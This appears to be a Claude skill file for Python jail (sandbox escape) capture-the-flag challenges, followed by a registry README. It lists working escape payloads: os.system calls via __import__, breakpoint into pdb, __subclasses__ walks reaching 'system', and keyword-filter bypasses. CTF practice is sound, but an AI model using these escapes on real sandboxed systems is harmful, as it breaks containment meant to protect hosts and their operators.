---

name: pyjail description: Escapes Python sandbox restrictions. Use when working with restricted Python eval/exec environments, sandbox escapes, filtered input challenges, or Python jail challenges. allowed-tools: Bash, Read, Write, Grep, Glob

Python Jail Escape Skill

Quick Workflow

Progress:
- [ ] Identify restrictions (blocked keywords/chars)
- [ ] Try basic escapes first
- [ ] If builtins blocked, use class hierarchy
- [ ] Bypass filters with encoding/concatenation
- [ ] Execute command to get flag

Quick Reference - Common Escapes

# Basic command execution
__import__('os').system('cat flag.txt')
eval("__import__('os').system('id')")
exec("import os; os.system('ls')")

# Using breakpoint (Python 3.7+)
breakpoint()  # Drops into pdb, then !cat flag.txt

# No builtins - class hierarchy
().__class__.__base__.__subclasses__()[132].__init__.__globals__['system']('cat flag')

# Keyword bypass
__import__('o'+'s').system('cat flag')
__import__(chr(111)+chr(115)).system('cat flag')

Reference Files

Topic	Reference
Bypass Techniques	reference/bypass.md
Complete Payloads	reference/payloads.md

Quick Debugging

# Find useful class index
for i, c in enumerate(().__class__.__base__.__subclasses__()):
    if 'wrap' in str(c): print(i, c)

# Check available builtins
dir(__builtins__)

Claude Skill Registry (Data)

This repo contains the archived skill contents (the heavy, browsable skill files).

Canonical layout

• Category folders at repo root (e.g. development/, documents/, data/, ...)
• Each skill lives under a category: <category>/<skill>/SKILL.md + <category>/<skill>/metadata.json
• Case conflicts are resolved with {name}-{owner}-{repo} suffixes (fallback: -{short-hash}).

Archive status

• Live badges above are sourced from claude-skill-registry-core stats.json.
• Counts in this README are intentionally dynamic, not hardcoded.
• If the badges look stale, refresh the core build/index pipeline rather than editing numbers here.

Where the index + site live

• Core repo: https://github.com/majiayu000/claude-skill-registry-core
• Main repo (merged publish artifact): https://github.com/majiayu000/claude-skill-registry